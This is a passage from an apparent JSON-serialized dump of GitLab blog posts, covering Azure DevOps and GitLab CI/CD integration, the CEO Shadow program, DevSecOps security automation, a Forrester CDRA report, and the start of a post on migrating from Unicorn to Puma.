The Yaml code should include your [CI/CD definitions](/blog/guide-to-ci-cd-pipelines/). Once this file is included in the root directory a CI/CD pipeline will be triggered for each commit. If you are not familiar with .gitlab-ci.yml, start by creating a file with the name .gitlab-ci.yml and paste the below code to it. This code includes build and test stages, and a job that displays text to the console in each stage. Later on you can add additional scripts to each job, and also add additional jobs and stages. To create more complex pipelines, you can [use the pipeline templates](https://docs.gitlab.com/ee/ci/yaml/#includetemplate) that are [shipped with GitLab](https://gitlab.com/gitlab-org/gitlab/tree/master/lib/gitlab/ci/templates) instead of starting it from scracth.\n\n```\nstages:\n  - build\n  - test \n  \nbuild:\n  stage: build\n  script:\n    - echo \"Build job\"\n\ntest:\n  stage: test\n  script:\n    - echo \"Test job\"\n```\n\nThat’s it, you are all set! \n\n## Suggested development flow \n\n![Development flow diagram](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado_7_2.png){: .shadow.large.center}\n\n1. CODE (Developer IDE of choice) Developer uses the favorite IDE to develop code, clones the repo to the workstation and creates a branch.  ![Visual Studio Code](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado8.png){: .shadow.large.center}\n\n2. COMMIT (GIT) After the feature is developed/the bug is fixed, the developer pushes the work to the Azure Repository server.  ![Azure DevOps Repos](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado9.png){: .shadow.large.center}\n\n3. BUILD (GitLab) The branch with the commit history will be mirrored to GitLab. The CI/CD pipeline will be triggered. The pipeline will build the code.  ![GitLab pipeline graph](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado10.png){: .shadow.large.center}\n\n    Artifacts will be created, and be available for download.  ![Artifacts](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado11.png){: .shadow.large.center}\n\n    If Auto DevOps is enabled, a container image will be created and be pushed to the built-in Container Registry.  ![GitLab Container Registry](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado12.png){: .shadow.large.center}\n\n    In case a package registry is enabled in the project, packages will be published to the designated package manager.  ![GitLab Package Registry](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado13.png){: .shadow.large.center}\n\n4. TEST (GitLab) Security scans, license scans, and other tests are executed as part of the CI pipeline.  ![GitLab scans](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado14.png){: .shadow.large.center}\n\n5. REVIEW & PULL REQUEST (GitLab & Azure DevOps repos) Review pipeline results in GitLab and if the pipeline passed without errors, and the new change hasn’t introduced new vulnerabilities, the developer creates a pull request in Azure DevOps. A code review is started and the developer might need to make a few changes before merging to master. Each commit will trigger a CI/CD pipeline in GitLab.  ![Azure DevOps pull request](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado15.png){: .shadow.large.center}\n\n6. MERGE (Azure DevOps Repos and GitLab) The Azure DevOps pull request is approved and the branch will be merged to the master branch in the Azure DevOps Repository.\n\nDepending on your pipeline configuration, this merge to the master branch will trigger the CI/CD pipeline in GitLab to validate the merge results, build new packages and container images, and then deploy them.  ![GitLab CI/CD pipeline graph](https://about.gitlab.com/images/blogimages/ado_and_gitlab/ado16.png){: .shadow.large.center}\n\n## Development workflow demonstration \n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/HfpP2pEmkoM\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n## A solution worth trying \n\nGitLab offers a leading source code management and CI/CD solution in one application which many [GitLab customers](/customers/) use together because of the power of this combination. However, we know that sometimes there are constraints that do not allow teams to migrate their repository to GitLab SCM, at least not right away. For these situations, even if it is only temporary, we offer the capability of GitLab CI/CD for external repositories illustrated here. \n\n\n**Read more about GitLab CI/CD:**\n\n[Forrester report compares between leading CI/CD tools](https://about.gitlab.com/analysts/forrester-cloudci19/)\n\n[Autoscale GitLab CI with AWS Fargate](/blog/introducing-autoscaling-gitlab-runners-on-aws-fargate/)\n\n[Case Study - how Goldman Sachs improved from 1 build every two weeks to over a thousand per day](https://about.gitlab.com/customers/goldman-sachs/)\n\nCover image by [Aleksey Kuprikov](https://unsplash.com/@alekskuprfilmz) on [Unsplash](https://unsplash.com/)\n{: .note}\n\n\n",[110,1899,696],{"slug":22774,"featured":6,"template":678},"integrating-azure-devops-scm-and-gitlab","content:en-us:blog:integrating-azure-devops-scm-and-gitlab.yml","Integrating Azure Devops Scm And Gitlab","en-us/blog/integrating-azure-devops-scm-and-gitlab.yml","en-us/blog/integrating-azure-devops-scm-and-gitlab",{"_path":22780,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22781,"content":22787,"config":22792,"_id":22794,"_type":16,"title":22795,"_source":17,"_file":22796,"_stem":22797,"_extension":20},"/en-us/blog/ceo-shadow-impressions-takeaways",{"title":22782,"description":22783,"ogTitle":22782,"ogDescription":22783,"noIndex":6,"ogImage":22784,"ogUrl":22785,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22785,"schema":22786},"CEO Shadow program impressions and takeaways","What is the GitLab CEO shadow program? Why should a GitLab team member apply to participate? How did I see the GitLab values in action?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681405/Blog/Hero%20Images/ceo-shadow-unfiltered-whaber.jpg","https://about.gitlab.com/blog/ceo-shadow-impressions-takeaways","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CEO Shadow program impressions and takeaways\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Wayne Haber\"}],\n        \"datePublished\": \"2020-07-08\",\n      }",{"title":22782,"description":22783,"authors":22788,"heroImage":22784,"date":22789,"body":22790,"category":18484,"tags":22791},[16519],"2020-07-08","\n\n[I participated](https://gitlab.com/whaber) in the CEO Shadow program in July of 2020.  It was quite an exhilarating experience.\n\nYou will find below:\n\n* What I did during the program\n* Why someone should apply to be in the program\n* What I learned about Gitlab values in action and effective communication\n\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/JVaPRtY6wMQ\" frameborder=\"0\" allowfullscreen=\"false\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What did I do during the GitLab CEO shadow program?\n\n* There were 10+ meetings to attend per day over two weeks.  Meetings included one on one discussions with [Sid's direct reports AKA the E-Group](/company/team/structure/#e-group), [group conversations](/handbook/group-conversations/), [Key Reviews](https://about.gitlab.com/handbook/key-review/), customers, investors, and media interviews.\n* I authored [16 merge requests](https://bit.ly/2AgXilS) for the handbook and collaborated with my co-shadows on another ~10.  I also created two tasks to track items that were not handbook updates.  Approximately half were requests from [Sid](/handbook/ceo/) for the CEO shadows during meetings, and half were ideas that the co-shadows had to improve the handbook based on what we were learning and experiencing.  Some merge requests were [quite small in effort (5 minutes)](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/54276), and [some took a significant amount of time (8 hours to do the analysis)](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/54017).\n* Sid asked for feedback a couple of times each week for feedback on how he did, and to ask for ideas from the CEO shadows on the topics that were covered.\n* During an investor meeting, an investor asked the attendees a question in one of my areas of expertise: security.  I smiled widely on video, which Sid picked up on.  He asked me to cover the subject (and follow-on questions) from the investor.  It was an excellent opportunity to contribute.\n* I joined meetings a minute or two early when possible. Doing so allowed me to network with other meeting attendees who also joined early briefly. Often this was with GitLab team members in which it is uncommon for me to have this opportunity (other than in [coffee chats](https://about.gitlab.com/company/culture/all-remote/informal-communication/#coffee-chats)).\n\n## Why should a GitLab team member apply to participate?\n\n* You can observe and learn from seeing the [GitLab values](https://handbook.gitlab.com/handbook/values/) in action by Sid and the E-Group.\n* It is a great way to understand \"the why\" on how decisions are made.\n* The handbook is quite extensive.  You can get a sense as to which portions or more or less important based on how often each page is referenced.\n* You can better understand the [GTM (go to market)](/handbook/sales/) strategy and how it guides decisions that impact you and your team.\n\n## What are the key things I learned?\n\nIn one of the meetings, to paraphrase what someone learning about GitLab's culture said:\n`You can't train people on a culture.  You have to live it to learn it.`\n\nOur values guide our actions.  Below are each of our values and what actions I observed that reinforced them.\n\n### Results\n\n* Our high merge request rate is a competitive differentiator.  Our competitors can't release new features nearly as fast as we can.\n* Inter-team meetings should be about high impact cross-functional items, not \"status on what is being worked on.\"\n\n### Efficiency\n\n* Read presentations and related merge requests/documents/issues in advance of a meeting.  Document questions and feedback in the associated notes document *before* the meeting.\n* If necessary, at the beginning of a meeting, go over the highlights of the presentation at the beginning of the meeting.  Better yet, record a short video of the highlights and publish before the meeting so that the meeting time can be even more effective.\n* When a meeting is planned with those outside of GitLab, document the \"Who, What, Why, When, and Where\" in advance so everyone can be well prepared and informed in advance of the meeting.\n* When you view a multi-page Google document during a meeting and want to see where the speaker is in the document, double-click on their face (or initials) in the top right part of the page.  Your cursor will jump to wherever their cursor is in the document.\n* Don't be overly regimented about having weekly 1-1 meetings with your manager and direct reports.  If you need an additional one because there are important things to discuss that shouldn't wait another week, schedule it!\n* In some meetings, there were significantly more items to cover than time available.  The team decided to cover the topics in \"descending most controversial\" order.\n\n### Diversity, Inclusion, & Belonging\n\n* An interview with a candidate was nearing the end of the scheduled meeting time, and Sid asked the candidate if they had time to continue. The candidate said they could, but would prefer not to due to having kids at home.  Sid decided that the candidate was potentially deferring too much due to being interviewed, so they decided to schedule a follow-up meeting for the next week.  Deciding to meet the week after was a great example of \"friends and family first, work second.\n* Use [Zoom in gallery mode](https://support.zoom.us/hc/en-us/articles/201362323-How-Do-I-Change-The-Video-Layout-), which allows you to see all other participants.  Using gallery mode enables you to interpret the expressions and other non-verbal communication (excited, bored, concerned, etc.) of meeting participants.\n\n### Collaboration\n\n* Enthusiasm is contagious.  For example, there were many instances where people were very excited about topics, including the merge request rate, [new features recently released](/releases/2020/06/22/gitlab-13-1-released/), and plans for future releases.\n* The handbook is a guidebook, not a rulebook.  Take our values into account when you apply the handbook ([and improve it!](/company/mission/#contribute-to-gitlab-company)).\n\n### Effective communication\n\nSeveral topics were discussed asynchronously, especially in merge request threads and Google documents. \nObserving Sid in action employing [effective communication](/handbook/communication/#effective-communication-competency) reminded me of these principles:\n\n* Prefer a merge request over an issue.  Prefer an issue over a Google document or a Slack conversation.\n* It is a judgment call as to when asynchronous communication has become less effective than a synchronous Zoom call.\n* Keep in mind that GitLab team members work on many different things.  They may have little context on the historical background and your perspective.  Provide background and about \"the why\" to reduce miscommunication.\n* Thank people for taking the time to give feedback (especially in merge requests and issue comments).\n\n### Responding to feedback\n\n* Be sure to put yourself in the other person's shoes to understand their perspective.  Focus not only on what you don't agree on but also about what you do agree on.\n* Thank people for giving feedback (especially in merge request and issue comments).\n* Be genuine in your response.  Don't overpromise how you will address their feedback with the intention of underdelivering.\n\nWant to see some great examples?  Look at Sid's responses in [GitLab merge request comments](https://gitlab.com/users/sytses/activity), [Hacker News threads](https://news.ycombinator.com/threads?id=sytse), and [Twitter replies](https://twitter.com/sytses/with_replies).\n\nCover image by [Chris Montgomery](https://unsplash.com/photos/smgTvepind4) on [Unsplash](https://www.unsplash.com)\n{: .note}\n\n{::options parse_block_html=\"true\" /}\n\n\n",[1307,754],{"slug":22793,"featured":6,"template":678},"ceo-shadow-impressions-takeaways","content:en-us:blog:ceo-shadow-impressions-takeaways.yml","Ceo Shadow Impressions Takeaways","en-us/blog/ceo-shadow-impressions-takeaways.yml","en-us/blog/ceo-shadow-impressions-takeaways",{"_path":22799,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22800,"content":22805,"config":22809,"_id":22811,"_type":16,"title":22812,"_source":17,"_file":22813,"_stem":22814,"_extension":20},"/en-us/blog/devsecops-security-automation",{"title":22801,"description":22802,"ogTitle":22801,"ogDescription":22802,"noIndex":6,"ogImage":6003,"ogUrl":22803,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22803,"schema":22804},"Automated security testing for DevSecOps","We share four fool-proof ways to bring your security automation to the next level and five reasons why it's critical.","https://about.gitlab.com/blog/devsecops-security-automation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automated security testing for DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-07-08\",\n      }",{"title":22801,"description":22802,"authors":22806,"heroImage":6003,"date":22789,"body":22807,"category":8943,"tags":22808},[22656],"\n\n_This is the third in our five-part series on getting started with [DevSecOps](/topics/devsecops/). Part one gives you nine ways to [shift security left](/blog/efficient-devsecops-nine-tips-shift-left/). Part two outlines the steps needed to create [silo-free collaboration](/blog/achieve-devsecops-collaboration/)._\n\nNearly 83% of developers in [GitLab’s 2020 DevSecOps survey](/developer-survey/) say they’re releasing code faster today than ever before thanks to [DevOps](/topics/devops/). About 65% also say security is shifting left in their organizations. How far left is that shift? Not that far: Over 60% of developers don’t actually run static [application security](/topics/devsecops/) testing (SAST) scans, and 73% don’t conduct dynamic application security testing (DAST) scans.\n\nThis needs to change.\n\nSecurity is often a bottleneck to faster releases but it is much too risky to minimize or ignore. DevSecOps promises to bring security  forward in the software development lifecycle (SDLC). This can be done a number of ways but automated security testing streamlines adoption and scalability. A respondent to this year’s DevSecOps Survey summarized it nicely:\n\n> Automated testing and continuous integration have made our deployments safer and more optimized. Now everyone in the team has the permission to deploy the code.\n\n## The need for security automation and good security practices\n\nThere is an attempted cyber-attack [every 44 seconds](https://us.norton.com/blog/emerging-threats/cybersecurity-statistics#:~:text=There%20isn't%20concise%20data,people%20being%20hacked%20per%20year.) on average. \n\n_Every. 44. Seconds._ \n\nThis also equates to approximately 2,200 daily attacks resulting in about 800,000 people being hacked each year. Unfortunately, no one has the time, patience, or bandwidth to keep their eyes and hands ready to stop or address cyber attacks on the horizon. That’s why security automation tools exist.\n\nAnd consider this: cyber attackers aren’t doing everything by hand – they employ automation too. This means security processes also [need automation to keep up](https://www.checkpoint.com/cyber-hub/cyber-security/security-automation/#:~:text=Security%20automation%20is%20the%20automation,scale%20to%20handle%20growing%20workloads.). \n\nA security automation solution can include real-time monitoring tools that constantly manage security vulnerabilities and take automatic action where needed. It’s like adding a second pair of invisible hands to the team to help prevent and resolve security issues. Increased security measures can save any organization time and money and avoid the loss of sensitive files. \n\n\n## 4 Ways to automate security in software development\n\n[Automation](https://docs.gitlab.com/ee/topics/autodevops/) comes in all shapes and sizes. Scans and policies can be programmed manually or come as set operations out of the box; scans can be triggered automatically at code commit or manually initiated; and these scans can result in automated remediation and reports or they can require human intervention. Here are four ways automated security testing can be integrated into your software development practices:\n\n1. Automate security scans for every code change by [running SAST scans](https://docs.gitlab.com/ee/user/application_security/sast/index.html). For ease of assessment, results should be sorted by the priority level of the vulnerability.\n\n1. Scan results should automatically initiate a work ticket or issue, or may stop a build depending on the policy in place. These results should be presented to the developer – in the workspace or IDE in use to avoid context switching – for instant remediation.\n\n1. Policies are automatically applied upon code commit with the option to capture and approve exceptions as needed.\n\n1. Analyze running web applications for known vulnerabilities [using DAST scans](https://docs.gitlab.com/ee/user/application_security/dast/). In GitLab, DAST scans can be automated by [including the CI job in your existing .gitlab-ci.yml file](https://docs.gitlab.com/ee/user/application_security/dast/#configuration), or by [using Auto DAST](https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-dast).\n\n\n\n## 5 Benefits of automated security\n\nIn addition to making jobs easier across development, security, and operations, automated security testing will help your team produce a safer and better-quality result.\n\n1. **Reduced human error.** Across all functions, automation reduces human error by taking the manual work out of tedious processes that rely on excessive attention to detail.\n\n1. **Early security intervention.** By placing security earlier in the SDLC, threats and vulnerabilities can be detected and addressed faster – hopefully before there’s even a chance that they’re exposed.\n\n1. **Streamlined vulnerability triage.** Automated scan reports can present the threat level of any vulnerability so that developers and security engineers alike can decide which must be addressed immediately and who is responsible for resolving the problem.\n\n1. **Repeatable security checks.** Any automated task should be repeatable, which means that all code can be reviewed and assessed the same way every time. This creates a trusted and secure environment and code base, and also helps reviewers identify patterns when results are presented in a consistent manner.\n\n1. **Responsibility clarification.** Automation takes uncertainty out of DevSecOps. Shifting security can cause confusion about who is responsible for what. But automated scans can present remediation options for the party responsible _at that stage of development_.\n\nBut it is also important to find a productive balance between automated security testing and manual work. For example, trying to automate overly rigorous policies may prove detrimental to business objectives and may not be realistically achieved – it’s important to find a balance between policy compliance and efficiency. It’s also key that automation doesn’t obstruct visibility. Make sure there is still a trail of operations to review if necessary – automated processes should still generate reports of what was done, when, and why the action was triggered. Last, but certainly not least: Automation is **not** meant to replace human beings. It is a tool meant to make their work more efficient and help them produce better results for the team, the business, and the customer.\n\n## Security automation vs. security orchestration\n\nThough they are different concepts, security automation and security orchestration perform similar functions. One serves the other to make security processes more efficient. \n\nSecurity automation focuses on automating individual tasks (possibly with AI technology) to simplify essential processes for security analysts. On the flip side, security orchestration connects tools in use alongside automation and streamlines the whole security procedure. Orchestration drives efficient automation.\n\n## Types of security automation tools\n\nTo keep track of security incidents (and prevent them in the future), teams use security automation tools and different types of security scanning. A few common types of security automation tools include:\n\n- Security Information and Event Management (SIEM): SIEMs help to automatically collect data across multiple sources and use it to give contextual background about security incidents.\n- Security Orchestration, Automation, and Response (SOAR): SOAR takes SIEM a step further than just contextual data collection and adds automated response options to the mix. SOAR alerts security analysts to problems and shuts down cyber threats automatically. \n- Extended Detection and Response (XDR): This proactive, automated solution combines SIEM, SOAR, and other security options into one managed source.\n\n## How security automation works with security analysts\n\nA human can’t do all of the necessary security work, nor can a security automation tool. It’s a symbiotic relationship to ensure that an organization feels the least amount of negative impact from a cyber attack possible. \n\nA security analyst, responsible for vulnerability management by identifying and resolving security flaws and conducting [audits](https://about.gitlab.com/blog/what-you-need-to-know-about-devops-audits/), gets a lot of help from automation. An automated security system can make someone aware of a problem and even help to resolve it while removing manual time constraints.\n\n**Read more about DevSecOps:**\n* [Efficient DevSecOps: 9 tips for shifting left](https://about.gitlab.com/blog/efficient-devsecops-nine-tips-shift-left/)\n* [Want better DevSecOps? Try cross-functional collaboration](https://about.gitlab.com/blog/achieve-devsecops-collaboration/)\n* [Compliance made easy with GitLab](https://about.gitlab.com/blog/compliance-made-easy/)\n* [How application security engineers can use GitLab to secure their projects](https://about.gitlab.com/blog/secure-stage-for-appsec/)\n\nCover image by [Daniele Levis Pelusi](https://unsplash.com/@yogidan2012) on [Unsplash](https://unsplash.com/photos/Pp9qkEV_xPk)\n{: .note}\n\n\n\n",[4103,674,1444,6141],{"slug":22810,"featured":6,"template":678},"devsecops-security-automation","content:en-us:blog:devsecops-security-automation.yml","Devsecops Security Automation","en-us/blog/devsecops-security-automation.yml","en-us/blog/devsecops-security-automation",{"_path":22816,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22817,"content":22822,"config":22827,"_id":22829,"_type":16,"title":22830,"_source":17,"_file":22831,"_stem":22832,"_extension":20},"/en-us/blog/forrester-cdra2020",{"title":22818,"description":22819,"ogTitle":22818,"ogDescription":22819,"noIndex":6,"ogImage":17364,"ogUrl":22820,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22820,"schema":22821},"GitLab and The Forrester Wave: CD and release automation","GitLab named a Strong Performer in Forrester Wave for Continuous Delivery and Release Automation","https://about.gitlab.com/blog/forrester-cdra2020","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and The Forrester Wave: Continuous Delivery and Release Automation Q2 2020\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Parker Ennis\"}],\n        \"datePublished\": \"2020-07-08\",\n      }",{"title":22823,"description":22819,"authors":22824,"heroImage":17364,"date":22789,"body":22825,"category":736,"tags":22826},"GitLab and The Forrester Wave: Continuous Delivery and Release Automation Q2 2020",[17291],"\nHere at [GitLab](/company/), we're fundamentally changing the way that organizations develop and deploy their software by offering a complete [DevOps platform](/solutions/devops-platform/) delivered as a single application. Excitingly enough, GitLab was recently cited as a **Strong Performer** in the Forrester Continuous Delivery and Release Automation (CDRA) report for Q2 2020. For this CDRA wave, Forrester evaluated a wide range of vendors to see how their CDRA capabilities stack up in relation to each other and the market at large. Forrester’s evaluation specifically ranks the strengths and weaknesses based on the capabilities of each vendor’s current offering(s), their product vision/strategy going forward, and their market presence to provide an in-depth analysis that companies can use to make the right decisions when it comes to choosing the best CDRA solution for them.\n\nFourteen vendors were interviewed, researched, and analyzed for this report against 26 types of criteria. \n\nFor those interested, you can access this report directly from Forrester on our [commentary page](/analysts/forrester-cdra20/).\n\n#### **A Little Background**\n\n[Continuous delivery](/topics/continuous-delivery/) and release automation is an area that’s quickly evolving to meet the needs of the market. This puts an immense amount of pressure on vendors to innovate just as rapidly in order to not only compete effectively, but to provide customers with the best possible solution and experience. Fortunately, we’re excited to be moving in the right direction and continuously improving our CDRA capabilities at GitLab. Since 2018, we've made significant investments to add new functionality, improve existing capabilities, and bring both our [continuous delivery direction](/direction/release/continuous_delivery/) and [release orchestration](/direction/release/release_orchestration/) visions to life.\n\n#### **Why is CDRA important?**\n\nAs technology and software development continues to advance at this feverish pace, all businesses, not just vendors, are feeling the pressure more than ever to modernize how they build, test, and deploy their applications. You've probably heard \"every company is a software company\" before and that's exactly what it means.\n\nPrioritizing automation over manual development work is at the center of these transformation efforts. Why's this important? Because how a vendor fares in the realm of CDRA has a direct correlation to the strength and maturity of their [CI/CD capabilities](/topics/ci-cd/). As a result, reports like this CDRA wave act as one of many solid indicators for a vendor's ability to help businesses achieve their goals and automate their software development processes. Naturally, CDRA focuses heavily on the release/deployment automation portion of the software delivery lifecycle, but you can't automate deployments without having a solid CI implementation to automate builds/tests first. Taking that into account, an evaluation like this can go a long way in determining whether a given vendor's solution is not only right for your business today, but where you want your business to be in the future.\n\n#### **Key takeaways in the publication**\n\nHere’s what Forrester determined to be the key takeaways for this Wave:\n\n**CloudBees, IBM, Microsoft, Digital.ai, Broadcom, And Flexagon Lead The Pack**\n\n**Visualizations Of Complex Application And Deployment Models Are Key Differentiators**\n\nAs the continuous delivery market continues to consolidate, and with upstream continuous integration capabilities and higher-order management becoming the norm, vendors are competing increasingly on breadth of functionality. The ability to visualize complex application and deployment models continues to be a differentiator, as does the management of deployment outcomes. Appropriate use of advanced analytics and machine learning is also a key factor, with continuing vendor investment resulting in valuable capabilities such as improved release readiness.\n\n#### **Our highlights**\n\n**GitLab is among vendors with highest score** for these categories:\n\n*   Build automation/continuous integration\n*   Deployment and operations\n*   CDRA vision and value proposition\n*   Product innovation\n*   Market approach and viability\n\n**Forrester’s profile of GitLab:**\n\n**“GitLab is expanding its comprehensive platform quickly.** \n\n“GitLab emerged from the continuous integration side of the market and, with its foundation in source control, has strong headwaters capabilities. GitLab supports continuous integration and deployment to cloud-native platforms, but support for legacy platforms is lacking. More recently, the company has added continuous delivery features, including continuous integration and deployment for Kubernetes. The product bases its application modeling on Helm charts, thus requiring Kubernetes to function. The firm grounds its strategy in a very active open source community and a clear ability to execute on this business mode. GitLab distinguishes itself as one of the fastest-innovating vendors in this evaluation.\"\n\n#### **Looking Ahead**\n\nWe’re dedicated to becoming a standard of excellence in CDRA and are working diligently towards our promise of [Progressive Delivery](/direction/ops/#progressive-delivery) becoming a market-leading solution, as well as many other important roadmap targets such as making [release management easier](/direction/release/release_orchestration/) for our users -- with much more in store. For additional details around exactly what we have planned on the roadmap and our overall vision going forward, check out this [Release vision](https://youtu.be/pzGCishRoh4) video overview from our product team, and learn more about [GitLab's continuous delivery](/stages-devops-lifecycle/continuous-delivery/) functionality.\n\nGitLab already excels in numerous parts of the DevOps lifecycle such as SCM, code review, CI, and cloud native development to name a few of our most [mature](/direction/maturity/) functionality areas. Other vendors find themselves in many reports with many different products, but GitLab is the only vendor who has been listed in multiple reports with the same product, reinforcing the strength of GitLab's message of using a single application for the entire DevOps lifecycle.\n\nWe will continue to improve GitLab and provide the best possible solution for organizations to deliver better software faster. Until next time!\n\n_If you have any questions or would like to contact us about this report, you can reach us [here](/company/contact/)._\n",[1385,4103,736],{"slug":22828,"featured":6,"template":678},"forrester-cdra2020","content:en-us:blog:forrester-cdra2020.yml","Forrester Cdra2020","en-us/blog/forrester-cdra2020.yml","en-us/blog/forrester-cdra2020",{"_path":22834,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22835,"content":22841,"config":22846,"_id":22848,"_type":16,"title":22849,"_source":17,"_file":22850,"_stem":22851,"_extension":20},"/en-us/blog/migrating-to-puma-on-gitlab",{"title":22836,"description":22837,"ogTitle":22836,"ogDescription":22837,"noIndex":6,"ogImage":22838,"ogUrl":22839,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22839,"schema":22840},"How we migrated application servers from Unicorn to Puma","It's been a long journey but with the release of GitLab 13.0 Puma is our default application server. Here's what we did and learned along the way.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681413/Blog/Hero%20Images/appserverpuma.jpg","https://about.gitlab.com/blog/migrating-to-puma-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we migrated application servers from Unicorn to Puma\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Craig Gomes\"}],\n        \"datePublished\": \"2020-07-08\",\n      }",{"title":22836,"description":22837,"authors":22842,"heroImage":22838,"date":22789,"body":22844,"category":734,"tags":22845},[22843],"Craig Gomes","\n\nIt’s been years in the making, but our journey to migrate our application servers from Unicorn to Puma is complete. With the Gitlab 12.9 release Puma was running on GitLab.com and now with 13.0 it is the default application server for everyone. This is the story about how we migrated from Unicorn to Puma and the results we’ve seen.\n\n## A starting point\n\nBoth [Unicorn](https://yhbt.net/unicorn/) and [Puma](https://puma.io) are web servers for Ruby on Rails. The big difference is that Unicorn is a single-threaded process model and Puma uses a multithreaded model. \n\nUnicorn has a multi-process, single-threaded architecture to make better use of available CPU cores (processes can run on different cores) and to have stronger fault tolerance (most failures stay isolated in only one process and cannot take down GitLab entirely). On startup, the Unicorn ‘main’ process loads a clean Ruby environment with the GitLab application code, and then spawns ‘workers’ which inherit this clean initial environment. The ‘main’ never handles any requests; that is left to the workers. The operating system network stack queues incoming requests and distributes them among the workers.\n\nUnlike Unicorn, Puma can run multiple threads for each worker. Puma can be tuned to run multiple threads and workers to make optimal use of your server and workload. For example, in Puma defining \"N workers\" with 1 thread is essentially equivalent to \"N Unicorn workers.\" In multi-threaded processes thread safety is critical to ensure proper functionality. We encountered one thread safety issue while migrating to Puma and we'll get to that shortly.\n\n### Technical Descriptions\n\nUnicorn is an HTTP server for Rack applications designed to only serve fast clients on low-latency, high-bandwidth connections and take advantage of features in Unix/Unix-like kernels. Slow clients should only be served by placing a reverse proxy capable of fully buffering both the the request and response in between unicorn and slow clients.\n\nPuma is a multi-threaded web server and our replacement for Unicorn. Unlike other Ruby Webservers, Puma was built for speed and parallelism. Puma is a small library that provides a very fast and concurrent HTTP 1.1 server for Ruby web applications. It is designed for running Rack apps only.\n\nWhat makes Puma so fast is the careful use of a Ragel extension to provide fast, accurate HTTP 1.1 protocol parsing. This makes the server scream without too many portability issues.\n\n## Why Puma?\n\nWe began early investigations into Puma believing it would help resolve some of our [memory growth issues](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3700) and also to help with scalability. By switching from Unicorn's single threaded process we could cut down on the number of processes running and the memory overhead of each of these processes. Ruby processes take up a significant amount of memory.  Threads, on the other hand, consume a much smaller amount of memory than workers because they are able to share a significantly larger portion of application memory.  When I/O causes a thread to pause, another thread can continue with its application request. In this way, multi-thread makes the best use of the available memory and CPU, reducing memory consumption by [approximately 40%](/releases/2020/05/22/gitlab-13-0-released/#reduced-memory-consumption-of-gitlab-with-puma).\n\n## The early appearance of Puma\n\nThe first appearance of Puma in a GitLab issue was in a discussion about using [multithreaded application servers](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3592), dating back to November 20, 2015. In our spirit of iteration, the first attempt at adding experimental support for Puma followed shortly after with a [merge request](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/1899) on November 25, 2015. The initial [results](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/3592#note_2805965) indicated a lack of stability and thus did not merit us moving forward with Puma at the time. While the push [to improve our memory footprint](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/25421) continued, the efforts to move forward with Puma stalled for a while.\n\n## Experimental development use\n\nIn May, 2018 Puma was configured for [experimental development use](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/532) in GitLab Rails and [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/2801). Later that year, we added [Puma metrics to Prometheus](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52769) to track our internal experimental usage of Puma. By early spring of 2019 GitLab moved forward with the creation of the [Memory Team](/blog/why-we-created-the-gitlab-memory-team/) whose early set of identified tasks was to deploy Puma to GitLab.com.\n\n\n## Implementation steps\n\nThe efforts to implement Puma on GitLab.com and for our self-managed customers started in earnest in early 2019 with the [Enable Puma Web Server for GitLab](https://gitlab.com/groups/gitlab-org/-/epics/954) epic and the creation of the Memory Team. One of the early steps we took was to [enable Puma by default in the GDK ](https://gitlab.com/gitlab-org/gitlab-development-kit/-/issues/490) to get metrics and feedback from the community and our customers while we worked to deploy on GitLab.com.\n\nThe ability to measure the improvements achieved by the Puma deployment was critical to determining whether we had achieved our goals of overall memory reduction. To capture these metrics we set up [two identical environments](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/62877) to test changes on a daily basis. This would allow us to quickly make changes to the worker/thread ratio within Puma and quickly review the impact of the changes.\n\n### A roll out plan\n\nWe have multiple pre-production environments and we follow a progression of deploying Puma to each of these stages (dev->ops->staging->canary->production). Within each of these stages we would deploy the changes to enable Puma and test the changes. Once we confirmed a successful deployment we would measure and make configuration changes for optimal performance and memory reduction.\n\n### Issues and Tuning\n\nEarly on we determined 